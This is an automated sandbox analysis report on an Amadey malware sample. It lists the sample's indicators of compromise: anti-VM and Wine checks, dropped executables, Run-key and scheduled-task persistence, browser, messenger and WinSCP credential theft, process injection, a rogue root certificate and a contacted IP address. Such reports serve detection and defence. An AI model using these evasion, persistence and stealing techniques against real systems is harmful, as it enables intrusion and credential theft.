amadey | 268318688e614f04d59cb86f60905777782d7cc0fd722ccd5bab51c1c11fc10d

Virtualization/Sandbox Evasion

Processes:

chrosha.exe268318688e614f04d59cb86f60905777782d7cc0fd722ccd5bab51c1c11fc10d.exeexplorha.exeamert.exedfe69c061c.exeexplorha.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	chrosha.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	268318688e614f04d59cb86f60905777782d7cc0fd722ccd5bab51c1c11fc10d.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	explorha.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	amert.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	dfe69c061c.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	explorha.exe

Blocklisted process makes network request 3 IoCs

Processes:

rundll32.exerundll32.exerundll32.exe

flow pid process

43 1316 rundll32.exe
45 872 rundll32.exe
114 1952 rundll32.exe
Creates new service(s) 1 TTPs
persistence

Windows Service
T1543.003
Downloads MZ/PE file
Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

flow	pid	process
43	1316	rundll32.exe
45	872	rundll32.exe
114	1952	rundll32.exe

Checks BIOS information in registry 2 TTPs 12 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

chrosha.exe268318688e614f04d59cb86f60905777782d7cc0fd722ccd5bab51c1c11fc10d.exeexplorha.exeamert.exedfe69c061c.exeexplorha.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	chrosha.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	268318688e614f04d59cb86f60905777782d7cc0fd722ccd5bab51c1c11fc10d.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explorha.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	amert.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	amert.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	dfe69c061c.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	dfe69c061c.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explorha.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explorha.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	268318688e614f04d59cb86f60905777782d7cc0fd722ccd5bab51c1c11fc10d.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explorha.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	chrosha.exe

Executes dropped EXE 18 IoCs

Processes:

explorha.exeamert.exec254216123.exedfe69c061c.exeexplorha.exechrosha.exeswiiiii.exealexxxxxxxx.exegold.exeNewB.exejok.exeswiiii.exeISetup8.exepropro.exeTraffic.exetoolspub1.exebuild_1GyXIDXRUC.exeu4k.0.exe

pid	process
5036	explorha.exe
4168	amert.exe
4188	c254216123.exe
596	dfe69c061c.exe
5068	explorha.exe
2352	chrosha.exe
2128	swiiiii.exe
4100	alexxxxxxxx.exe
820	gold.exe
3688	NewB.exe
2296	jok.exe
2996	swiiii.exe
164	ISetup8.exe
168	propro.exe
352	Traffic.exe
5176	toolspub1.exe
5632	build_1GyXIDXRUC.exe
6132	u4k.0.exe

Identifies Wine through registry keys 2 TTPs 6 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

Virtualization/Sandbox Evasion

Processes:

explorha.exeamert.exedfe69c061c.exeexplorha.exechrosha.exe268318688e614f04d59cb86f60905777782d7cc0fd722ccd5bab51c1c11fc10d.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-81807878-2351072935-4259904108-1000\Software\Wine	explorha.exe
Key opened	\REGISTRY\USER\S-1-5-21-81807878-2351072935-4259904108-1000\Software\Wine	amert.exe
Key opened	\REGISTRY\USER\S-1-5-21-81807878-2351072935-4259904108-1000\Software\Wine	dfe69c061c.exe
Key opened	\REGISTRY\USER\S-1-5-21-81807878-2351072935-4259904108-1000\Software\Wine	explorha.exe
Key opened	\REGISTRY\USER\S-1-5-21-81807878-2351072935-4259904108-1000\Software\Wine	chrosha.exe
Key opened	\REGISTRY\USER\S-1-5-21-81807878-2351072935-4259904108-1000\Software\Wine	268318688e614f04d59cb86f60905777782d7cc0fd722ccd5bab51c1c11fc10d.exe

Loads dropped DLL 6 IoCs

Processes:

rundll32.exerundll32.exerundll32.exerundll32.exerundll32.exerundll32.exe

pid process

1748 rundll32.exe
1316 rundll32.exe
872 rundll32.exe
2960 rundll32.exe
1952 rundll32.exe
1872 rundll32.exe
Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002
Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Unexpected DNS network traffic destination 1 IoCs
Network traffic to other servers than the configured DNS servers was detected on the DNS port.

Processes:

description ioc

Destination IP 45.155.250.90

pid	process
1748	rundll32.exe
1316	rundll32.exe
872	rundll32.exe
2960	rundll32.exe
1952	rundll32.exe
1872	rundll32.exe

description	ioc
Destination IP	45.155.250.90

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

explorha.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-81807878-2351072935-4259904108-1000\Software\Microsoft\Windows\CurrentVersion\Run\c254216123.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1000055001\\c254216123.exe"	explorha.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-81807878-2351072935-4259904108-1000\Software\Microsoft\Windows\CurrentVersion\Run\dfe69c061c.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1000056001\\dfe69c061c.exe"	explorha.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service
T1102

Processes:

flow ioc

135 pastebin.com
136 pastebin.com
162 pastebin.com
Looks up external IP address via web service 7 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

229 ipinfo.io
198 api.myip.com
199 api.myip.com
200 ipinfo.io
201 ipinfo.io
219 ip-api.com
228 api.myip.com

flow	ioc
135	pastebin.com
136	pastebin.com
162	pastebin.com

flow	ioc
229	ipinfo.io
198	api.myip.com
199	api.myip.com
200	ipinfo.io
201	ipinfo.io
219	ip-api.com
228	api.myip.com

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\1000055001\c254216123.exe	autoit_exe

Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs

Processes:

268318688e614f04d59cb86f60905777782d7cc0fd722ccd5bab51c1c11fc10d.exeexplorha.exeamert.exedfe69c061c.exeexplorha.exechrosha.exe

pid	process
4600	268318688e614f04d59cb86f60905777782d7cc0fd722ccd5bab51c1c11fc10d.exe
5036	explorha.exe
4168	amert.exe
596	dfe69c061c.exe
5068	explorha.exe
2352	chrosha.exe

Suspicious use of SetThreadContext 5 IoCs

Processes:

swiiiii.exegold.exealexxxxxxxx.exeswiiii.exebuild_1GyXIDXRUC.exe

description	pid	process	target process
PID 2128 set thread context of 4108	2128	swiiiii.exe	RegAsm.exe
PID 820 set thread context of 4504	820	gold.exe	RegAsm.exe
PID 4100 set thread context of 4924	4100	alexxxxxxxx.exe	RegAsm.exe
PID 2996 set thread context of 4972	2996	swiiii.exe	RegAsm.exe
PID 5632 set thread context of 5784	5632	build_1GyXIDXRUC.exe	RegAsm.exe

Drops file in Windows directory 2 IoCs

Processes:

268318688e614f04d59cb86f60905777782d7cc0fd722ccd5bab51c1c11fc10d.exeamert.exe

description	ioc	process
File created	C:\Windows\Tasks\explorha.job	268318688e614f04d59cb86f60905777782d7cc0fd722ccd5bab51c1c11fc10d.exe
File created	C:\Windows\Tasks\chrosha.job	amert.exe

Launches sc.exe 9 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

7756 sc.exe
7148 sc.exe
7344 sc.exe
7368 sc.exe
7704 sc.exe
7816 sc.exe
7952 sc.exe
1488 sc.exe
1304 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 2 IoCs

Processes:

WerFault.exeWerFault.exe

pid pid_target process target process

1096 2128 WerFault.exe swiiiii.exe
5596 5176 WerFault.exe toolspub1.exe

pid	process
7756	sc.exe
7148	sc.exe
7344	sc.exe
7368	sc.exe
7704	sc.exe
7816	sc.exe
7952	sc.exe
1488	sc.exe
1304	sc.exe

pid	pid_target	process	target process
1096	2128	WerFault.exe	swiiiii.exe
5596	5176	WerFault.exe	toolspub1.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

toolspub1.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub1.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub1.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub1.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

RegAsm.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	RegAsm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	RegAsm.exe

Creates scheduled task(s) 1 TTPs 6 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid process

5080 schtasks.exe
6672 schtasks.exe
7584 schtasks.exe
6744 schtasks.exe
7440 schtasks.exe
5136 schtasks.exe

pid	process
5080	schtasks.exe
6672	schtasks.exe
7584	schtasks.exe
6744	schtasks.exe
7440	schtasks.exe
5136	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

Processes:

chrome.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 2 IoCs

Processes:

chrome.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133579529092995938"	chrome.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

Processes:

RegAsm.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064	RegAsm.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064\Blob = 0b000000010000004800000054006900740061006e00690075006d00200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790000000200000001000000cc0000001c0000006c00000001000000000000000000000000000000010000007b00390043003000440030003300460035002d0031004200330041002d0034004200370042002d0039003000390042002d003700310037004400330045004500300041003500430030007d00000000004d006900630072006f0073006f0066007400200045006e00680061006e006300650064002000430072007900700074006f0067007200610070006800690063002000500072006f00760069006400650072002000760031002e00300000000000030000000100000014000000f1a578c4cb5de79a370893983fd4da8b67b2b06420000000010000000a03000030820306308201eea003020102020867f7beb96a4c2798300d06092a864886f70d01010b0500302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f72697479301e170d3233303331343130333532305a170d3236303631373130333532305a302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a028201010086e4577a5861ce819177d005fa51d5515a936c610ccfcbde5332cd151da647ee881a245c9b02833b02af3d76fe20bd3bfaf7a20973e72ebd9440d09d8c3d2713bdf0d09feb9532acd7a42da2a952daa86a2a88ee427d30959d90bfba05276aa02998a6986fc01306629b79b8405d1f1fa6d9a42f827afc7566340dc2de27012b94bb4a27b3cb1c219a3cb2c14203f34451bd626520edd4dbcc414f593f2acbc48479f7143cbe139cfd129c913e5303dc20f94c44358901b69a848d7ea02e308a311560ac00ae009a29109aeed9713dd8919b97ed598058e17f0726c7a020f710abc06291dfaaf181c6be6a76c89cb68eb0b0ec1cd95f326c7e55588bfd76c5190203010001a328302630130603551d25040c300a06082b06010505070301300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010070851293d757e982797dc5f7f27da894ef0cdb329f06a6096e0cf604b0e54711560ef40f5282082e210f55a3db41f312548b7611f5f0dacea3c78b13f6fc243c02b106665be69e184088415b273999b877bee353a248cec7eeb5a095c2174bc9526cafe3372c59dbfbe758134ed351e5147273fec68577ae4552a6f99ac80ca8d0ee422af528858c6be81cb0a8031ab0ae83c0eb5564f4e87a5c06295d3903eee2fdf92d62a7f4d4054deaa79bcaebda4e8b1a6efd42aef9d01c7075728cb13aa8557c85a72532b5e2d6c3e55041c9867ca8f562bbd2ab0c3710d83173ec3781d1dcaac5c6e07ee726624dfdc5814cffd336e17932f89beb9cf7fdbee9bebf61	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 44 IoCs

Processes:

268318688e614f04d59cb86f60905777782d7cc0fd722ccd5bab51c1c11fc10d.exeexplorha.exeamert.exechrome.exerundll32.exepowershell.exedfe69c061c.exeexplorha.exechrosha.exerundll32.exeRegAsm.exepowershell.exe

pid	process
4600	268318688e614f04d59cb86f60905777782d7cc0fd722ccd5bab51c1c11fc10d.exe
4600	268318688e614f04d59cb86f60905777782d7cc0fd722ccd5bab51c1c11fc10d.exe
5036	explorha.exe
5036	explorha.exe
4168	amert.exe
4168	amert.exe
3880	chrome.exe
3880	chrome.exe
1316	rundll32.exe
1316	rundll32.exe
1316	rundll32.exe
1316	rundll32.exe
1316	rundll32.exe
1316	rundll32.exe
1316	rundll32.exe
1316	rundll32.exe
1316	rundll32.exe
1316	rundll32.exe
340	powershell.exe
340	powershell.exe
340	powershell.exe
340	powershell.exe
596	dfe69c061c.exe
596	dfe69c061c.exe
5068	explorha.exe
5068	explorha.exe
2352	chrosha.exe
2352	chrosha.exe
1952	rundll32.exe
1952	rundll32.exe
1952	rundll32.exe
1952	rundll32.exe
1952	rundll32.exe
1952	rundll32.exe
4972	RegAsm.exe
4972	RegAsm.exe
1952	rundll32.exe
1952	rundll32.exe
1952	rundll32.exe
1952	rundll32.exe
6048	powershell.exe
6048	powershell.exe
6048	powershell.exe
6048	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs

Processes:

chrome.exe

pid process

3880 chrome.exe
3880 chrome.exe
3880 chrome.exe

pid	process
3880	chrome.exe
3880	chrome.exe
3880	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

chrome.exepowershell.exe

description	pid	process
Token: SeShutdownPrivilege	3880	chrome.exe
Token: SeCreatePagefilePrivilege	3880	chrome.exe
Token: SeShutdownPrivilege	3880	chrome.exe
Token: SeCreatePagefilePrivilege	3880	chrome.exe
Token: SeShutdownPrivilege	3880	chrome.exe
Token: SeCreatePagefilePrivilege	3880	chrome.exe
Token: SeShutdownPrivilege	3880	chrome.exe
Token: SeCreatePagefilePrivilege	3880	chrome.exe
Token: SeShutdownPrivilege	3880	chrome.exe
Token: SeCreatePagefilePrivilege	3880	chrome.exe
Token: SeShutdownPrivilege	3880	chrome.exe
Token: SeCreatePagefilePrivilege	3880	chrome.exe
Token: SeShutdownPrivilege	3880	chrome.exe
Token: SeCreatePagefilePrivilege	3880	chrome.exe
Token: SeDebugPrivilege	340	powershell.exe
Token: SeShutdownPrivilege	3880	chrome.exe
Token: SeCreatePagefilePrivilege	3880	chrome.exe
Token: SeShutdownPrivilege	3880	chrome.exe
Token: SeCreatePagefilePrivilege	3880	chrome.exe
Token: SeShutdownPrivilege	3880	chrome.exe
Token: SeCreatePagefilePrivilege	3880	chrome.exe
Token: SeShutdownPrivilege	3880	chrome.exe
Token: SeCreatePagefilePrivilege	3880	chrome.exe
Token: SeShutdownPrivilege	3880	chrome.exe
Token: SeCreatePagefilePrivilege	3880	chrome.exe
Token: SeShutdownPrivilege	3880	chrome.exe
Token: SeCreatePagefilePrivilege	3880	chrome.exe
Token: SeShutdownPrivilege	3880	chrome.exe
Token: SeCreatePagefilePrivilege	3880	chrome.exe
Token: SeShutdownPrivilege	3880	chrome.exe
Token: SeCreatePagefilePrivilege	3880	chrome.exe
Token: SeShutdownPrivilege	3880	chrome.exe
Token: SeCreatePagefilePrivilege	3880	chrome.exe
Token: SeShutdownPrivilege	3880	chrome.exe
Token: SeCreatePagefilePrivilege	3880	chrome.exe
Token: SeShutdownPrivilege	3880	chrome.exe
Token: SeCreatePagefilePrivilege	3880	chrome.exe
Token: SeShutdownPrivilege	3880	chrome.exe
Token: SeCreatePagefilePrivilege	3880	chrome.exe
Token: SeShutdownPrivilege	3880	chrome.exe
Token: SeCreatePagefilePrivilege	3880	chrome.exe
Token: SeShutdownPrivilege	3880	chrome.exe
Token: SeCreatePagefilePrivilege	3880	chrome.exe
Token: SeShutdownPrivilege	3880	chrome.exe
Token: SeCreatePagefilePrivilege	3880	chrome.exe
Token: SeShutdownPrivilege	3880	chrome.exe
Token: SeCreatePagefilePrivilege	3880	chrome.exe
Token: SeShutdownPrivilege	3880	chrome.exe
Token: SeCreatePagefilePrivilege	3880	chrome.exe
Token: SeShutdownPrivilege	3880	chrome.exe
Token: SeCreatePagefilePrivilege	3880	chrome.exe
Token: SeShutdownPrivilege	3880	chrome.exe
Token: SeCreatePagefilePrivilege	3880	chrome.exe
Token: SeShutdownPrivilege	3880	chrome.exe
Token: SeCreatePagefilePrivilege	3880	chrome.exe
Token: SeShutdownPrivilege	3880	chrome.exe
Token: SeCreatePagefilePrivilege	3880	chrome.exe
Token: SeShutdownPrivilege	3880	chrome.exe
Token: SeCreatePagefilePrivilege	3880	chrome.exe
Token: SeShutdownPrivilege	3880	chrome.exe
Token: SeCreatePagefilePrivilege	3880	chrome.exe
Token: SeShutdownPrivilege	3880	chrome.exe
Token: SeCreatePagefilePrivilege	3880	chrome.exe
Token: SeShutdownPrivilege	3880	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

268318688e614f04d59cb86f60905777782d7cc0fd722ccd5bab51c1c11fc10d.exeamert.exec254216123.exechrome.exe

pid	process
4600	268318688e614f04d59cb86f60905777782d7cc0fd722ccd5bab51c1c11fc10d.exe
4168	amert.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
3880	chrome.exe
3880	chrome.exe
3880	chrome.exe
3880	chrome.exe
3880	chrome.exe
3880	chrome.exe
3880	chrome.exe
3880	chrome.exe
3880	chrome.exe
3880	chrome.exe
3880	chrome.exe
3880	chrome.exe
3880	chrome.exe
3880	chrome.exe
3880	chrome.exe
3880	chrome.exe
3880	chrome.exe
3880	chrome.exe
3880	chrome.exe
3880	chrome.exe
3880	chrome.exe
3880	chrome.exe
3880	chrome.exe
3880	chrome.exe
3880	chrome.exe
3880	chrome.exe
4188	c254216123.exe
4188	c254216123.exe
3880	chrome.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe

Suspicious use of SendNotifyMessage 61 IoCs

Processes:

c254216123.exechrome.exe

pid	process
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
3880	chrome.exe
3880	chrome.exe
3880	chrome.exe
3880	chrome.exe
3880	chrome.exe
3880	chrome.exe
3880	chrome.exe
3880	chrome.exe
3880	chrome.exe
3880	chrome.exe
3880	chrome.exe
3880	chrome.exe
3880	chrome.exe
3880	chrome.exe
3880	chrome.exe
3880	chrome.exe
3880	chrome.exe
3880	chrome.exe
3880	chrome.exe
3880	chrome.exe
3880	chrome.exe
3880	chrome.exe
3880	chrome.exe
3880	chrome.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe
4188	c254216123.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

268318688e614f04d59cb86f60905777782d7cc0fd722ccd5bab51c1c11fc10d.exeexplorha.exec254216123.exechrome.exe

description	pid	process	target process
PID 4600 wrote to memory of 5036	4600	268318688e614f04d59cb86f60905777782d7cc0fd722ccd5bab51c1c11fc10d.exe	explorha.exe
PID 4600 wrote to memory of 5036	4600	268318688e614f04d59cb86f60905777782d7cc0fd722ccd5bab51c1c11fc10d.exe	explorha.exe
PID 4600 wrote to memory of 5036	4600	268318688e614f04d59cb86f60905777782d7cc0fd722ccd5bab51c1c11fc10d.exe	explorha.exe
PID 5036 wrote to memory of 4168	5036	explorha.exe	amert.exe
PID 5036 wrote to memory of 4168	5036	explorha.exe	amert.exe
PID 5036 wrote to memory of 4168	5036	explorha.exe	amert.exe
PID 5036 wrote to memory of 4188	5036	explorha.exe	c254216123.exe
PID 5036 wrote to memory of 4188	5036	explorha.exe	c254216123.exe
PID 5036 wrote to memory of 4188	5036	explorha.exe	c254216123.exe
PID 4188 wrote to memory of 3880	4188	c254216123.exe	chrome.exe
PID 4188 wrote to memory of 3880	4188	c254216123.exe	chrome.exe
PID 3880 wrote to memory of 2848	3880	chrome.exe	chrome.exe
PID 3880 wrote to memory of 2848	3880	chrome.exe	chrome.exe
PID 3880 wrote to memory of 4304	3880	chrome.exe	chrome.exe
PID 3880 wrote to memory of 4304	3880	chrome.exe	chrome.exe
PID 3880 wrote to memory of 4304	3880	chrome.exe	chrome.exe
PID 3880 wrote to memory of 4304	3880	chrome.exe	chrome.exe
PID 3880 wrote to memory of 4304	3880	chrome.exe	chrome.exe
PID 3880 wrote to memory of 4304	3880	chrome.exe	chrome.exe
PID 3880 wrote to memory of 4304	3880	chrome.exe	chrome.exe
PID 3880 wrote to memory of 4304	3880	chrome.exe	chrome.exe
PID 3880 wrote to memory of 4304	3880	chrome.exe	chrome.exe
PID 3880 wrote to memory of 4304	3880	chrome.exe	chrome.exe
PID 3880 wrote to memory of 4304	3880	chrome.exe	chrome.exe
PID 3880 wrote to memory of 4304	3880	chrome.exe	chrome.exe
PID 3880 wrote to memory of 4304	3880	chrome.exe	chrome.exe
PID 3880 wrote to memory of 4304	3880	chrome.exe	chrome.exe
PID 3880 wrote to memory of 4304	3880	chrome.exe	chrome.exe
PID 3880 wrote to memory of 4304	3880	chrome.exe	chrome.exe
PID 3880 wrote to memory of 4304	3880	chrome.exe	chrome.exe
PID 3880 wrote to memory of 4304	3880	chrome.exe	chrome.exe
PID 3880 wrote to memory of 4304	3880	chrome.exe	chrome.exe
PID 3880 wrote to memory of 4304	3880	chrome.exe	chrome.exe
PID 3880 wrote to memory of 4304	3880	chrome.exe	chrome.exe
PID 3880 wrote to memory of 4304	3880	chrome.exe	chrome.exe
PID 3880 wrote to memory of 4304	3880	chrome.exe	chrome.exe
PID 3880 wrote to memory of 4304	3880	chrome.exe	chrome.exe
PID 3880 wrote to memory of 4304	3880	chrome.exe	chrome.exe
PID 3880 wrote to memory of 4304	3880	chrome.exe	chrome.exe
PID 3880 wrote to memory of 4304	3880	chrome.exe	chrome.exe
PID 3880 wrote to memory of 4304	3880	chrome.exe	chrome.exe
PID 3880 wrote to memory of 4304	3880	chrome.exe	chrome.exe
PID 3880 wrote to memory of 4304	3880	chrome.exe	chrome.exe
PID 3880 wrote to memory of 4304	3880	chrome.exe	chrome.exe
PID 3880 wrote to memory of 4304	3880	chrome.exe	chrome.exe
PID 3880 wrote to memory of 4304	3880	chrome.exe	chrome.exe
PID 3880 wrote to memory of 4304	3880	chrome.exe	chrome.exe
PID 3880 wrote to memory of 4304	3880	chrome.exe	chrome.exe
PID 3880 wrote to memory of 4304	3880	chrome.exe	chrome.exe
PID 3880 wrote to memory of 4304	3880	chrome.exe	chrome.exe
PID 3880 wrote to memory of 4304	3880	chrome.exe	chrome.exe
PID 3880 wrote to memory of 2780	3880	chrome.exe	chrome.exe
PID 3880 wrote to memory of 2780	3880	chrome.exe	chrome.exe
PID 3880 wrote to memory of 3184	3880	chrome.exe	chrome.exe
PID 3880 wrote to memory of 3184	3880	chrome.exe	chrome.exe
PID 3880 wrote to memory of 3184	3880	chrome.exe	chrome.exe
PID 3880 wrote to memory of 3184	3880	chrome.exe	chrome.exe
PID 3880 wrote to memory of 3184	3880	chrome.exe	chrome.exe
PID 3880 wrote to memory of 3184	3880	chrome.exe	chrome.exe
PID 3880 wrote to memory of 3184	3880	chrome.exe	chrome.exe
PID 3880 wrote to memory of 3184	3880	chrome.exe	chrome.exe
PID 3880 wrote to memory of 3184	3880	chrome.exe	chrome.exe
PID 3880 wrote to memory of 3184	3880	chrome.exe	chrome.exe
PID 3880 wrote to memory of 3184	3880	chrome.exe	chrome.exe

C:\Users\Admin\AppData\Local\Temp\268318688e614f04d59cb86f60905777782d7cc0fd722ccd5bab51c1c11fc10d.exe
"C:\Users\Admin\AppData\Local\Temp\268318688e614f04d59cb86f60905777782d7cc0fd722ccd5bab51c1c11fc10d.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:4600
- C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe
  "C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Adds Run key to start application
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:5036
- - C:\Users\Admin\AppData\Local\Temp\1000054001\amert.exe
    "C:\Users\Admin\AppData\Local\Temp\1000054001\amert.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of FindShellTrayWindow
    PID:4168
- - C:\Users\Admin\AppData\Local\Temp\1000055001\c254216123.exe
    "C:\Users\Admin\AppData\Local\Temp\1000055001\c254216123.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of WriteProcessMemory
    PID:4188
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account
      4⤵
      Enumerates system info in registry
      Modifies data under HKEY_USERS
